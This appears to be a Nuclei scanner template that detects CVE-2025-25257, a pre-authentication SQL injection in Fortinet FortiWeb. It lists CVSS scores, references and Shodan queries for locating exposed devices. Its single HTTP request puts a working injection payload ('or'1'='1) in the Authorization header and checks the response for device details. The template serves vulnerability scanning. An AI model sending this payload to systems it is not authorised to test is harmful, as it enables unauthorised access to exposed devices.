漏洞描述
An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
id: CVE-2025-25257
info:
name: Fortinet FortiWeb - SQL Injection
author: watchtowr,johnk3r
severity: critical
description: |
An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
impact: |
An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.
remediation: |
Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.
reference:
- https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
- https://fortiguard.fortinet.com/psirt/FG-IR-25-151
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-25257
epss-score: 0.67546
epss-percentile: 0.98499
cwe-id: CWE-89
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortinet
product: fortiweb
shodan-query:
- ssl:"cn=fortiweb"
- title:"FortiWeb - "
tags: cve,cve2025,fortinet,fortiweb,sqli,unauth,kev,vkev,vuln
http:
- raw:
- |
GET /api/fabric/device/status HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer AAAAAA'or'1'='1
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'serial'
- 'fortiweb'
- 'device_type'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402206055c6fc0b04364ab37425a1e978aa4d0fd75ef5a72f8a0ca428b591c3ac080e022001bb1c18db7dbe63c3e255a1ec16c6cc23e81874c898c81b77e5999d02ca5a11:922c64590222798bb761d5b6d8e72950